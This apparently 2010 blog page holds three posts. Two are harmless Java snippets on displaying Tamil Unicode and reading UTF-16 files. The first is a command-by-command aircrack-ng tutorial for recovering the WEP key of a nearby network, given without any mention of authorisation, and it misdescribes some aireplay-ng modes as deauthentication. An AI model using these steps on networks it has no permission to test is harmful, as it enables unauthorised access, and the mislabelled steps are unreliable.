Thursday, June 17, 2010

CRACKING WIRELESS NETWORK PASSWORD

Before we do wireless cracking, you need to be aware of some of the terms associated with wireless cracking.

WAP - Wireless Access Point
SSID - Service Set Identifier (name of a wireless local area network)

ESSID - Extended Service Set Identifier
BSSID - Basic Service Set Identifier

MAC - Media Access Control( It is 12 digit hexadecimal number)
WEP - Wired Equivalent Privacy

In Windows OS we cannot collect packets of a network that we are not connected to.
Thus we use Linux OS called BackTrack which is a Live OS(can be booted directly from a cd or a removable device). In Backtrack, we use the package Aircrack-ng to perform wireless cracking. If you are using Ubuntu , then you need not use Backtrack. You can install the package Aircarck-ng in Ubuntu(if it is not installed already).

WEP CRACKING STEPS:

Open console in Backtrack or terminal in Ubuntu and perform following steps,

1) Get the name of the Wireless Adapter installed in the PC.

iwconfig

Let us assume the name given by backtrack is wlan0

2) Configure the wireless adapter in Monitor mode.

airmon-ng start wlan0

Let the interface name given by backtrack be mon0

3) Find out the wireless networks available around PC.

airodump-ng mon0

After you enter the following command the scanning process begins to look for wireless networks. Press Ctrl + C to stop the scanning process.
Let us consider that the following details are provided by Backtrack after we execute this command,

ESSID : paul
channel no : 9
BSSID : 00:54:C2:17:2A:92

4) Start the wireless collection of data packets.

airodump-ng -c 9 --bssid 00:54:C2:17:2A:92 -w abcd mon0

here abcd is the capture file that captures the data packets.
You have to wait until a minimum of 20000 data packets are captured.

5) Open new Console or terminal.

6) Try to send some Deauthentication packets. Deauthentication packets are those which disconnects a computer from the network.

aireplay-ng -1 0 -a 00:54:C2:17:2A:92 -e paul mon0

7) Replay the deauthentication packets.

aireplay-ng -3 -b 00:54:C2:17:2A:92 -e paul mon0

8) Crack the capture file

aircrack-ng --bssid
00:54:C2:17:2A:92 abcd-01.cap

On executing the above command we get the password for the wireless network. Use the key without colon.

TAMIL UNICODE


The unicode for Tamil is in the range 0B80 - 0BFF . Each individual tamil letter is represented by a 16 bit code.

Example:

Code for letter க is 0B95
Code for letter கா is 0B95 0BBE
The image above shows the code for various tamil letters. Thus the respective combination of the tamil letters can be used to generate appropriate tamil words. Remember always that the consonants should appear first.( That is for the letter கா , the code for க should appear first).

Using Tamil Unicode In Java:

Java code to display a tamil string in a Applet:

import java.awt.*;
import java.io.*;
import javax.swing.*;
public class test1 extends JApplet
{

public void init()
{
String rt="\u0B87\u0BB2\u0BCD\u0BB2\u0BC8";
Container cp=getContentPane();
cp.setLayout(new FlowLayout());
JLabel b=new JLabel();
b.setFont(new Font("Latha",Font.PLAIN,12));
b.setText(rt);
cp.add(b);
}

}


Displaying Tamil Font In Java:

If the tamil font is not properly displayed in Java , you have to add a fallback folder


1) Create a folder called "fallback".

2) Copy the font file latha.ttf(or the font which you are using) into the fallback folder.

3) Move the fallback folder into two locations

/jdk/jre/fonts/
/jre/fonts

The first jre folder is inside the jdk folder. This is used to display tamil font in frames and windows.
The second jre folder occurs along with the jdk folder. This is used to display tamil font in applets.

Important Tip Regarding using Different Languages In java:

It is adviced to use Swings compared to Awt for applications involving different languages.



Wednesday, June 16, 2010

READING UNICODE TEXT FROM A FILE IN JAVA

The Unicode will be in either in UTF-8 or UTF-16 format.

Code for reading UTF-16 file:

import java.io.*;

public class Unicode_read
{
public static void main(String args[])
{
FileInputStream fis=null;
BufferedReader br=null;
try
{
fis=new FileInputStream("unicodefile.txt");
br=new BufferedReader(new InputStreamReader(fis,"UTF-16"));
String h;
while((h=br.readLine())!=null)
{
//perform your task with the read string.
}
}
catch(Exception e)
{
System.out.println(e);
}
}
}